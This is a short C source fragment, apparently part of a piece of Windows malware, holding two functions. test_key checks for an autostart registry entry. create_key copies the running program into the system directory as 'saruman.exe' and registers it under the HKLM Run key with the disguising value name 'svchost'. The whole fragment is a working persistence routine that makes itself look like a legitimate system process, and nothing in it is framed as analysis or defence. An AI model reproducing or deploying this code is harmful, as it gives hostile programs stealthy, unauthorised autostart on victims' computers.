[HaBo]

int test_key()
{
     char system_path[1000], *full_path;
     HKEY hkey;
     int check, test, reg_key;
     char path[BUFSIZE];
    DWORD buf_length=BUFSIZE;
     

     
     test = RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_QUERY_VALUE, &hkey);
     
     if(test != ERROR_SUCCESS)
     {
             check = 1;
             return check;
     }
     
     /*
     ERROR_MORE_DATA       234L
     ERROR_SUCCESS         0L
     ERROR_FILE_NOT_FOUND  2L
     */
     
     reg_key=RegQueryValueEx(hkey,"svchost",NULL,NULL,(LPBYTE)path,&buf_length);
    
    if((reg_key!=ERROR_SUCCESS)||(buf_length>BUFSIZE))
        check=2;
    if(reg_key==ERROR_SUCCESS)
        check=0;
         
    RegCloseKey(hkey);
    return check;   
     
}

int create_key()
{
    int reg_key, check;
    HKEY hkey;

     char  *path, system[255], current[255];
    
     GetSystemDirectory(system, sizeof(system));
     path = strcat(system, "\\saruman.exe");
     GetModuleFileName(NULL, current, sizeof(current));
     CopyFile(current, path, 0);  
     
        reg_key=RegCreateKey(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", &hkey);
        if(reg_key==0)
        {
                RegSetValueEx((HKEY)hkey,"svchost",0,REG_SZ,(BYTE *)path,strlen(path));
                check=0;
                return check;
        }
        if(reg_key!=0)
                check=1;
                
        return check;
}